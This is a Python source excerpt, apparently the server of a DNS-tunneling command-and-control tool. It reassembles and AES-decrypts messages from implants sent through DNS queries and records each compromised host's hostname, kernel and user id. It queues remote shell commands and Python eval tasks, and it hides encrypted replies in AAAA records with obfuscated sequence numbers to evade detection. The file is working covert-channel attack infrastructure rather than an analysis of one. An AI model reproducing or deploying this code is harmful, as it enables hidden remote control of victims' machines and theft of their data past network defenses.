if is_data:
response = self.respond(msg, session)
return msg, domain, response
def assemble_message(self, session, stream_id, is_data=True):
'''Determine if a message has been completely received. If it has been, reassemble and decrypt it.'''
global sessions
while sessions_lock.locked(): time.sleep(0.001)
stream = sessions[session]["streams"][stream_id]
msg = ""
# Message completely received. Reassemble packets in order.
if None not in stream["pkts"]:
logging.debug("Message completely received. Reassembling packets in order.")
for i in range(stream["total_pkts"]):
pkt = stream["pkts"][i]
msg = msg + pkt.replace('w', '=').replace('-', 'w').upper()
# Message incomplete, there are packets yet to be received.
else:
return None
msg = base64.b32decode(msg)
# Data packets are AES encrypted strings.
# Non-data packets are plaintext integers/longs.
if is_data:
key = utils.int_to_bytes(sessions[session]["key"])
iv = utils.int_to_bytes(sessions[session]["iv"])
backend = default_backend()
aes = Cipher(algorithms.AES(key), modes.CTR(iv), backend=backend)
aes_dec = aes.decryptor()
msg = aes_dec.update(msg)
# Sometimes we receive non-utf-8 (random) data
try:
msg = msg.decode()
except:
pass
else:
B = utils.int_from_bytes(msg[:32], 'big')
iv = utils.int_from_bytes(msg[32:], 'big')
msg = {"B": B, "iv": iv}
# Mark the stream for expiry. We can't delete the stream
# once we're done with it because the client may be
# repeating requests multiple times, so we need a way to
# keep track of streams we've completed. If we deleted
# the stream from memory, the repeat requests would
# only create the stream again.
#
# Mark the stream for deletion 90 seconds from now, which
# should give the client enough time to receive our response
# which will cause it to stop sending retries.
sessions[session]["streams"][stream_id]["expiry"] = int(time.time()) + 90
return msg
def respond(self, msg, session):
'''Determine the correct response and return the encrypted payload: a list of 16 byte packets.
Packets are sent to the client as AAAA answers by BeaconResolver.resolve().'''
global sessions
while sessions_lock.locked(): time.sleep(0.001)
logging.debug("Responding to (%s) %s", session, msg)
if msg is None:
return None
response = []
# Figure out what the response should be.
# Default ACK is a bunch of random data, to make ACKs not look the same on the wire.
received_type, msg = msg.split('|', 1)
received_type = int(received_type)
ack = "0|" + base64.b16encode(os.urandom(randint(2, 6))).lower().decode()
# Beacon checking in, ACK it
if received_type == 1:
random, interval = msg.split('|')
# Pre-emptitively set the interval to whatever we are going to task the client to set it to
try:
if "next:" in sessions[session]["interval"]:
next_interval = sessions[session]["interval"].split()[-1].strip(')')
if next_interval.isdigit():
sessions[session]["interval"] = next_interval
else:
sessions[session]["interval"] = interval
else:
sessions[session]["interval"] = interval
except TypeError:
sessions[session]["interval"] = interval
sessions[session]["checkins"] = sessions[session]["checkins"] + 1
logging.debug("Client checking in. Callback interval %s seconds. ACKing it.", interval)
response.append(ack)
# Client terminated self, remove session
elif received_type == 2:
logging.debug("Client terminated itself. Removing session.")
del sessions[session]
return None
# Initialization message
elif received_type == 3:
version, hostname, kernel, uid, interval = msg.split('|')
sessions[session]["version"] = version
sessions[session]["interval"] = interval
info = {"hostname": hostname, "kernel": kernel, "uid": uid}
sessions[session]["info"] = {**sessions[session]["info"], **info}
logging.debug("Client init {Version: %s, Hostname: %s, Kernel: %s, UID: %s, Interval: %s}.", # ACKing it.",
version, hostname, kernel, uid, interval)
# If there is an autotask set, run it now
if meta['autotask']:
if meta['autotask_is_script']:
logging.debug("Running autotask script: %s", meta['autotask'])
autotask_script = eval("lambda session, sessions, session_id: " + meta['autotask'])
response.append(autotask_script(sessions[session], sessions, session))
else:
response.append(meta['autotask'])
logging.debug("Sending autotask data: %s", response[-1])
else:
response.append(ack)
# Network interface data
elif received_type == 6:
print('\n[!] Session', session, 'network interfaces:\n', msg)
#response.append(ack)
# Python code eval results
elif received_type == 8:
sessions[session]['waiting'] = ''
print('\n[!] Session', session, 'responded to Python3 eval with:\n', msg)
elif received_type == 80:
print('\n[!] Session', session, 'responded to Python3 quiet eval with (retcode or exception name):\n', msg)
# Arbitrary shell command execution results
elif received_type == 9:
sessions[session]['waiting'] = ''
print('\n[!] Session', session, 'responded to shell command execution with:\n', msg)
elif received_type == 90:
print('\n[!] Session', session, 'responded to shell command quiet (async) execution with exit code:\n', msg)
# Add any queued commands for this client
# TODO: mark tasks as sent
if sessions[session]["outbound_queue"]:
logging.debug("Sending queued tasks.")
response = response + list(sessions[session]["outbound_queue"].values())
# Default, ACK
if response is None:
logging.debug("Sending default response.")
response.append("0|kthx")
# Join all responses with a ^
response = "^".join(response).encode()
# AES encryption
key = utils.int_to_bytes(sessions[session]["key"])
iv = utils.int_to_bytes(sessions[session]["iv"])
backend = default_backend()
aes = Cipher(algorithms.AES(key), modes.CTR(iv), backend=backend)
aes_enc = aes.encryptor()
response = aes_enc.update(response)
packets = self.packetize_response(response)
# TODO: receive an ACK for each sent command before purging
# Here we assume the commands are all received by the client and acted upon.
sessions[session]["outbound_queue"] = {}
return packets
def packetize_response(self, response_string):
'''Responses are packetized. 15 data bytes per packet, for a total of 16 byte packets.
Packet format: [1 byte sequence number][15 data bytes]'''
pkt_length = 16
# Packetize into 15 byte packets, leaving 1 byte of room for the sequence number
data_length = pkt_length - 1
packets = [b'%s' % response_string[i:i + data_length] for i in range(0, len(response_string), data_length)]
logging.debug("Packets for DNS response assembly [pre sequence numbers]: %s", packets)
# Prepend sequence number (obfuscated so every address in a new response doesn't begin with 01, 02, ...)
# Sequence number format: [packet ordinal] XOR [last byte in packet]
packets = [bytes.fromhex(hex(i+1 ^ packets[i][-1])[2:].rjust(2 , '0')) + packets[i] for i in range(0, len(packets))]
logging.debug("Packets for DNS response assembly [pre padding]: %s", packets)
# Ensure length of response is a multiple of 16, pad last packet with \x00
packets[-1] = packets[-1].ljust(16, b'\x00')
return packets
def create_new_session(self, query, key, iv, source_ip):
'''Accepts a dnslib query (from which the session is extracted), a key and an iv which are both integers.
Returns the new session identifier (session cookie).'''
global sessions
while sessions_lock.locked(): time.sleep(0.001)
# Associate the given AES key and IV pair with the client.
query = str(query.qname)[:-1]
old_session = query.split('.')[2]
# New 4 byte session cookie that we aren't already using with another session.
session = base64.b16encode(os.urandom(2)).lower().decode()
while session in sessions:
session = base64.b16encode(os.urandom(2)).lower().decode()
sessions[session] = {"key": key, "iv": iv, "outbound_queue": {}, "streams": {},
"info": {"hostname": None, "kernel": None, "uid": None, "source_ip": source_ip},
"interval": None, "checkins": 0, "version": None, "last_seen": None, "waiting": ""}
# Remove the old session from memory, it's not needed anymore.
try:
del sessions[old_session]
except KeyError:
pass
logging.debug("New session set (%s): %s", session, sessions[session])
# Send the client the new session cookie to use from now on
return session
def cleanup_expired_streams(self):
'''Every 60 seconds delete expired streams to lower the memory footprint.'''
if DEBUG:
logging.debug('Checking for expired streams.')
try:
now = int(time.time())
for session_id in sessions:
for stream_id in sessions[session_id]["streams"]:
try:
if (
sessions[session_id]["streams"][stream_id]["expiry"] and
now > sessions[session_id]["streams"][stream_id]["expiry"]
):
try:
del sessions[session_id]["streams"][stream_id]
logging.debug('Expired stream %s for session %s deleted.', stream_id, session_id)
except KeyError:
# Stream was deleted already. How? Mystery!
pass
except KeyError:
# Stream doesn't have an expiry date. It's brand new.
pass
except RuntimeError:
# Removing or adding dict items in-place upsets `for` loops.
# Just keep trying. It'll be fine.
if DEBUG:
logging.debug('Recursively calling cleanup_expired_streams.')
self.cleanup_expired_streams()
return
if DEBUG:
logging.debug('Setting a new cleanup timer.')
self.cleanup_timer = Timer(60, self.cleanup_expired_streams)
self.cleanup_timer.daemon = True
self.cleanup_timer.start()
class LocalDNSLogger(DNSLogger):
'''Overload the default dnslib.DNSLogger in order to both use the logging module
and to support DEBUG levels. The dnslib class uses crude print statements with a poor way to control them.
Original class docs:
The class provides a default set of logging functions for the various
stages of the request handled by a DNSServer instance which are
enabled/disabled by flags in the 'log' class variable.
To customise logging create an object which implements the LocalDNSLogger
interface and pass instance to DNSServer.
The methods which the logger instance must implement are:
log_recv - Raw packet received
log_send - Raw packet sent
log_request - DNS Request
log_reply - DNS Response
log_truncated - Truncated
log_error - Decoding error
log_data - Dump full request/response
'''
def __init__(self):
self.logger = logging.getLogger(__name__)
def log_recv(self, handler, data):
if DEBUG_DNS and DEBUG_DNS_BYTES:
self.logger.debug("Received: [%s:%d] (%s) <%d> : %s",
handler.client_address[0],
handler.client_address[1],
handler.protocol,
len(data),
binascii.hexlify(data))
def log_send(self, handler, data):
if DEBUG_DNS and DEBUG_DNS_BYTES:
self.logger.debug("Sent: [%s:%d] (%s) <%d> : %s",
handler.client_address[0],
handler.client_address[1],
handler.protocol,
len(data),
binascii.hexlify(data))
def log_request(self, handler, request):
if DEBUG_DNS:
self.logger.debug("Request: [%s:%d] (%s) / '%s' (%s)",
handler.client_address[0],
handler.client_address[1],
handler.protocol,
request.q.qname,
QTYPE[request.q.qtype])
self.log_data(request)
def log_reply(self, handler, reply):
if DEBUG_DNS:
self.logger.debug("Reply: [%s:%d] (%s) / '%s' (%s) / RRs: %s",
handler.client_address[0],
handler.client_address[1],
handler.protocol,
reply.q.qname,
QTYPE[reply.q.qtype],
",".join([QTYPE[a.rtype] for a in reply.rr]))
self.log_data(reply)
def log_truncated(self, handler, reply):
if DEBUG_DNS:
self.logger.debug("Truncated Reply: [%s:%d] (%s) / '%s' (%s) / RRs: %s",
handler.client_address[0],
handler.client_address[1],
handler.protocol,
reply.q.qname,
QTYPE[reply.q.qtype],
",".join([QTYPE[a.rtype] for a in reply.rr]))
self.log_data(reply)
def log_error(self, handler, e):
if DEBUG_DNS:
self.logger.error("Invalid Request: [%s:%d] (%s) :: %s",
handler.client_address[0],
handler.client_address[1],
handler.protocol,
e)
def log_data(self, dnsobj):
if DEBUG_DNS and DEBUG_DNS_BYTES:
self.logger.debug("\n" + dnsobj.toZone(" ") + "\n")
def exit_handler(signal=None, frame=None):
if dns_server:
dns_server.stop()
while True:
choice = input('Save sessions to disk before exiting? [Y/n] ').strip().lower()
if choice in ['', 'y']:
filename = input('Filename? [%s] ' % sessions_filename).strip()
if filename == '':
save_sessions(sessions_filename)
break
else:
save_sessions(filename)
break
elif choice == 'n':
break
sys.exit(0)
def print(*args, **kwargs):
'''Overload print() in order to always flush output buffer.
This prevents output from backing up and not being printed when in cmdloop.'''
builtins.print(*args, **kwargs, flush=True)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('^C (use `exit` or CTRL+Z and `kill -9`)')
except SystemExit:
exit_handler()
except Exception:
logging.exception("Badness at the top level. Probably fatal.")